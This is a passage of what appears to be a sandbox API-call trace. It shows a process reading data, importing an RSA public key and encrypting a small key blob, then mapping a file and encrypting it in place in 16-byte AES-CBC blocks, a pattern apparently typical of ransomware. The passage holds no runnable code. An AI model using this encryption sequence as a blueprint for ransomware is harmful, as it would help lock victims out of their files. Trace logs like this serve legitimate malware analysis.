nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0ebac, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesRead=0x3e0ebac*=0x524, lpOverlapped=0x0) returned 1 [0164.695] GetTickCount () returned 0x1168e4d [0164.695] GetTickCount () returned 0x1168e4d [0164.695] GetTickCount () returned 0x1168e4d [0164.695] GetTickCount () returned 0x1168e4d [0164.695] GetTickCount () returned 0x1168e4d [0164.696] GetTickCount () returned 0x1168e4d [0164.696] GetTickCount () returned 0x1168e4d [0164.696] GetTickCount () returned 0x1168e4d [0164.696] GetTickCount () returned 0x1168e4d [0164.696] GetTickCount () returned 0x1168e4d [0164.696] GetTickCount () returned 0x1168e4d [0164.696] GetTickCount () returned 0x1168e4d [0164.696] GetTickCount () returned 0x1168e4d [0164.696] GetTickCount () returned 0x1168e4d [0164.696] GetTickCount () returned 0x1168e4d [0164.696] GetTickCount () returned 0x1168e4d [0164.696] GetTickCount () returned 0x1168e4d [0164.696] GetTickCount () returned 0x1168e4d [0164.696] GetTickCount () returned 0x1168e4d [0164.696] GetTickCount () returned 0x1168e4d [0164.696] GetTickCount () returned 0x1168e4d [0164.697] GetTickCount () returned 0x1168e4d [0164.697] GetTickCount () returned 0x1168e4d [0164.697] GetTickCount () returned 0x1168e4d [0164.697] GetTickCount () returned 0x1168e4d [0164.697] GetTickCount () returned 0x1168e4d [0164.697] GetTickCount () returned 0x1168e4d [0164.697] GetTickCount () returned 0x1168e4d [0164.697] GetTickCount () returned 0x1168e4d [0164.697] GetTickCount () returned 0x1168e4d [0164.697] GetTickCount () returned 0x1168e4d [0164.697] GetTickCount () returned 0x1168e4d [0164.697] CryptAcquireContextW (in: phProv=0x3e0e644, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0e644*=0x1668f00) returned 1 [0164.698] CryptImportKey (in: hProv=0x1668f00, pbData=0x3e0e5ac, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e650 | out: phKey=0x3e0e650*=0x16396e8) returned 1 [0164.698] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0eafc*, pdwDataLen=0x3e0e640*=0x75, dwBufLen=0x80 | out: pbData=0x3e0eafc*, pdwDataLen=0x3e0e640*=0x80) returned 1 [0164.698] CryptDestroyKey (hKey=0x16396e8) returned 1 [0164.698] CryptReleaseContext (hProv=0x1668f00, dwFlags=0x0) returned 1 [0164.698] CreateFileMappingW (hFile=0x39c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc2e3, lpName=0x0) returned 0x380 [0164.699] MapViewOfFile (hFileMappingObject=0x380, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc2e3) returned 0x1480000 [0164.699] CryptAcquireContextW (in: phProv=0x3e0e634, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0e634*=0x1668ce0) returned 1 [0164.700] CryptImportKey (in: hProv=0x1668ce0, pbData=0x3e0e5ec, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e644 | out: phKey=0x3e0e644*=0x16394e8) returned 1 [0164.700] CryptSetKeyParam (hKey=0x16394e8, dwParam=0x4, pbData=0x3e0e628*=0x2, dwFlags=0x0) returned 1 [0164.700] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0e630*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0e630*=0x10) returned 1 [0164.700] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.700] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.701] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.701] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.701] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.701] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.701] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.701] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.701] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.701] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.701] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.701] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.701] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.701] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.701] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.702] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.702] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.702] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.702] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.702] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.702] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.702] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.702] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.702] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.702] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.702] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.702] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.702] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.702] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.702] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.703] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.703] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.703] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.703] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.703] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.703] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.703] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.703] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.703] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.703] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.703] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.703] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.703] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.703] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.704] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.704] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.704] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.704] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.704] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.704] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.704] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.704] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.704] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.704] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.704] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.704] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.704] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.704] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.705] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.705] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.705] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.705] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.705] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.705] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.705] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.705] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.705] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.705] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.705] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.705] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.705] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.705] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.705] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.705] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.705] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.706] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.706] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.706] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.706] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.706] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.706] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.706] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.706] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.706] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.706] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.706] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.706] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.706] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.706] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.706] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.706] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.706] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.707] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.707] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, 